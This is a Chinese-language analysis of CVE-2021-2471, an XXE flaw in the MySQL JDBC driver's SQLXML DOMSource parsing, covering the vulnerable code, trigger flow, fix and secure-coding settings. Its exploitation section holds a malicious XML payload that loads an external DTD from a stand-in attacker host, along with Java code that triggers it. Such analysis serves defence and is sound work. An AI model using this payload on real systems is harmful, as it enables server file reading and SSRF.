CVE-2021-2471 JDBC-XXE漏洞分析
字数 1195 2025-08-03 16:50:06
MySQL JDBC XXE漏洞分析 (CVE-2021-2471)
漏洞概述
CVE-2021-2471是MySQL JDBC驱动中的一个XML外部实体注入(XXE)漏洞,影响8.0.27之前的所有版本。该漏洞存在于MysqlSQLXML类的getSource方法中,由于未对传入的XML数据进行安全处理,攻击者可以通过构造恶意XML数据引入外部实体,导致XXE攻击。
漏洞影响
- 受影响版本: MySQL JDBC驱动 < 8.0.27
- 漏洞类型: XML外部实体注入(XXE)
- CVSS评分: 中危(具体评分需参考官方评估)
漏洞原理分析
漏洞位置
漏洞主要存在于src/main/user-impl/java/com/mysql/cj/jdbc/MysqlSQLXML.java文件中的getSource方法。
关键代码分析
public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
checkClosed();
checkWorkingWithResult();
if (clazz == null || clazz.equals(SAXSource.class)) {
// SAXSource处理逻辑
} else if (clazz.equals(DOMSource.class)) {
// 漏洞主要出现在这里的DOMSource处理逻辑
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
InputSource inputSource = null;
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
return (T) new DOMSource(builder.parse(inputSource)); // 漏洞触发点
} catch (Throwable t) {
SQLException sqlEx = SQLError.createSQLException(t.getMessage(),
MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, t, this.exceptionInterceptor);
throw sqlEx;
}
} else if (clazz.equals(StreamSource.class)) {
// StreamSource处理逻辑
} else if (clazz.equals(StAXSource.class)) {
// StAXSource处理逻辑
} else {
throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2",
new Object[] { clazz.toString() }),
MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);
}
}
漏洞触发流程
- 应用程序通过
ResultSet.getSQLXML()获取SQLXML对象 - 调用
SQLXML.getSource(DOMSource.class)方法 - 方法内部创建
DocumentBuilder解析XML数据 - 解析过程中未禁用外部实体引用,导致XXE漏洞
关键问题
在创建DocumentBuilder时,虽然设置了setNamespaceAware(true),但未设置以下关键安全属性:
// 缺失的安全设置
builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
builderFactory.setXIncludeAware(false);
builderFactory.setExpandEntityReferences(false);
SQLXML接口背景
SQLXML是Java SQL API的一部分,用于处理数据库中的XML数据。主要用途包括:
- 通过
ResultSet.getSQLXML()获取XML数据 - 通过
PreparedStatement.setSQLXML()设置XML数据 - 通过
getSource()/setResult()方法转换XML数据格式
漏洞利用
利用前提
- 攻击者能够控制存入数据库的XML数据
- 应用程序使用受影响版本的MySQL JDBC驱动
- 应用程序使用
SQLXML.getSource(DOMSource.class)方法解析XML
利用步骤
- 构造恶意XML并存入数据库:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<root/>
- 应用程序代码示例(触发漏洞):
Statement statement = connection.createStatement();
statement.execute("select * from malicious_xml_table");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("xml_column");
DOMSource domSource = sqlxml.getSource(DOMSource.class); // 触发XXE
Document document = (Document) domSource.getNode();
}
- 攻击效果:
- 读取服务器文件
- 发起SSRF攻击
- 可能的拒绝服务攻击
修复方案
官方修复
MySQL在8.0.27版本中修复了此漏洞,主要修复方式是在解析XML时添加了安全配置:
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
// 新增的安全设置
builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
临时缓解措施
如果无法立即升级,可以采取以下措施:
- 避免使用
SQLXML.getSource(DOMSource.class)方法 - 使用SAX解析器并手动配置安全属性
- 对存入数据库的XML数据进行严格过滤
安全编码建议
- 始终配置XML解析器的安全属性:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用DTDs
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 禁用外部实体
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// 禁用其他危险功能
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
- 使用白名单验证XML输入
- 在应用程序层面限制XML外部资源访问